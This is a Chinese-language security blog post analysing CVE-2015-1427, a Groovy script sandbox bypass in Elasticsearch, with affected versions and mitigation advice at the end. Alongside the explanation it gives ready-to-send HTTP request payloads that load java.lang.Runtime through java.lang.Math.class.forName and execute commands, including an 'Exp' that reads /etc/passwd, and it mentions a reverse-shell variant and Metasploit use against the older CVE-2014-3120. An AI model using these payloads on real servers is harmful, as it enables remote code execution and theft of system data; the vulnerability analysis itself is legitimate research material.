ElasticSearch Groovy脚本远程代码执行漏洞分析(CVE-2015-1427) (附exp)

ElasticSearch是一个JAVA开发的搜索分析引擎。

2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,

后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行,目前网上还没看到公开的poc(下面有secpulse.com的POC),经过一番研究,发现了利用方式,下面来看看漏洞是如何产生的。

Groovy是一种运行在JVM上的脚本语言,语法和java很像,同样可以调用java中的各种对象和方法,但是Groovy的语法更简单。

groovy

 

首先,我们执行一段带脚本的查询代码:

POST http://127.0.0.1:9200/_search?pretty HTTP/1.1

User-Agent: es

Host: 127.0.0.1:9200

Content-Length: 184

{

"size":1,

"script_fields": {

"lupin": {

"script": "1 + 6"

}

}

}

 

上面的请求中1+6,就是我们执行的脚本代码,下面的返回中的7就是执行结果:

11

 

下面再试着执行一下这段代码

POST http://127.0.0.1:9200/_search?pretty HTTP/1.1

User-Agent: es

Host: 127.0.0.1:9200

Content-Length: 184

{

"size":1,

"script_fields":{

"lupin": {

"script": "newjava.lang.ProcessBuilder(\“calc\”)"

}

}

}

 

执行之后,报了错,从错误中可以看到,构造java.lang.ProcessBuilder对象是不允许的:

22

 

下面我们看看ElasticSearch沙盒的相关代码,实现沙盒的类是com.elasticsearch.script.groovy.GroovySandboxExpressionChecker,它订制了Groovy的沙盒,对表达式进行了安全检测,但是这个沙盒与JAVA的SecurityManager那种沙盒是不同的,从代码中可以看到这个沙盒,只是根据黑白名单,在表达式语义上判断表达式是否合法的,可以说是一个“浅”沙盒,简单来来说,比如沙盒设置不允许调用shell()这个方法,直接调用shell()方法,沙盒在表达式中发现了shell()这个字符串,就会报非法调用,但是如果有一个方法叫poc()这个方法中调用了shell()方法(poc(){shell()}),当调用poc()方法的时候,shell()方法也就被间接调用了沙盒并不会报错。

具体来说isAuthorized(Expression expression)方法如果返回false,说明表达式非法,true则合法,从isAuthorized方法的实现中可以看到,它根据黑白名单对方法调用和对象构造都进行了检测:

33
44

55

从上面的白名单中可以看到,允许构造对象和方法调用的类,都是一些常规类,没有我们可以利用的类,而且如果我们想要利用反射去调用我们想调用的类,方法黑名单中又限制了getClass的调用,我们无法通过getClass方法获取Class对象,但是我们可以看到方法白名单中,并没有对forName方法进行限制,也就是说,如果我们能获取到Class对象,再调用forName方法就可以获取到我们想访问的类。

那么我们如何能够获取一个Class对象呢?首先我想到的是通过java.lang.String.class这样的方式,通过class让JVM返回String类的class对象,可以看到的确获取到了Class对象:

66

 

那么我们在试试可不可以通过这个Class对象调用forName方法,加载java.lang.Runtime这个我们最想要的类,可惜报错了:

77

 

出错的原因是java.lang.String这个类是不允许进行方法调用的,只有在上面defaultReceiverWhiteList这个白名单中的类,才可以进行方法调用,这个控制是在Groovy沙盒类org.codehaus.groovy.control.customizers.SecureASTCustomizer中做的判断:

88

 

既然这样,思路就又有了,我们就拿这个白名单中的类获取Class对象,然后再调用forName方法,是不是就可以突破这个限制了,我这里使用java.lang.Math这个类来试试,这个类是在recevicer白名单中的,可以看到成功获取了java.lang.Runtime类:

POST http://127.0.0.1:9200/_search?prettyHTTP/1.1

User-Agent: es

Host: 127.0.0.1:9200

Content-Length: 132

{

"size":1,

"script_fields": {

"lupin": {

"script": "java.lang.Math.class.forName(\“java.lang.Runtime\”)"

}

}

}

99

 

有了Runtime类,后面的事情就好办了要调用到的各种方法都不在方法黑名单里面,我这里就不公布具体POC了,看懂上面原理的同学自然明白:

 

 

POC(CVE-2015-1427)

基本姿势
http://ip:9200/_search/


{
  "size": 1,
  "script_fields": {
    "secpulse": {
      "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"COMMAND\")",
      "lang": "groovy"
    }
  }
}

 

Exp

http://ip:9200/_search/

POST

{
    "size":1,
    "script_fields": {
       "secpulse": {
         "script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()",
       "lang": "groovy"
  }
  }
}

 

感谢某MM 利用姿势 直接反弹

exp_1 exp_2

 

回顾:CVE-2014-3120

http://www.secpulse.com/archives/3604.html

elasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。

elasticsearch 本身没有访问控制(SP小编提醒:可以安装Http Basic插件),任何通过http api搜索es中存储的结果,可以用put请求来update存储结果。

 

elasticsearch启动默认端口为9200,可以看到集群版本信息如图:

elasticsearch

elasticsearch早于1.2.0版本中存在远程代码执行漏洞,cve版本号为:CVE-2014-3120

elasticsearch_hacking

 

使用metasploit溢出存在漏洞的集群,成功获取权限。

lascon-2014-devooops-68-1024

 

elasticsearch自带一个Kibana图表展示 非常方便

lascon-2014-devooops-70-1024

影响版本

此次RCE漏洞版本 Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2

 

修复参考:

关闭外网 关闭groovy script
在elasticsearch.yml加script.groovy.sandbox.enabled: false

配置完需重启es服务

参考

http://www.elasticsearch.org/blog/elasticsearch-1-4-3-and-1-3-8-released/

https://github.com/elasticsearch/elasticsearch/blob/4dc060527cd7d35817085a3926e65d071e3b1321/src/main/java/org/elasticsearch/script/groovy/GroovySandboxExpressionChecker.java

 

【作者:京东安全应急响应中心Lupin  POC和后续回顾由安全脉搏编辑发布 】

 

https://www.secpulse.com/archives/5047.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值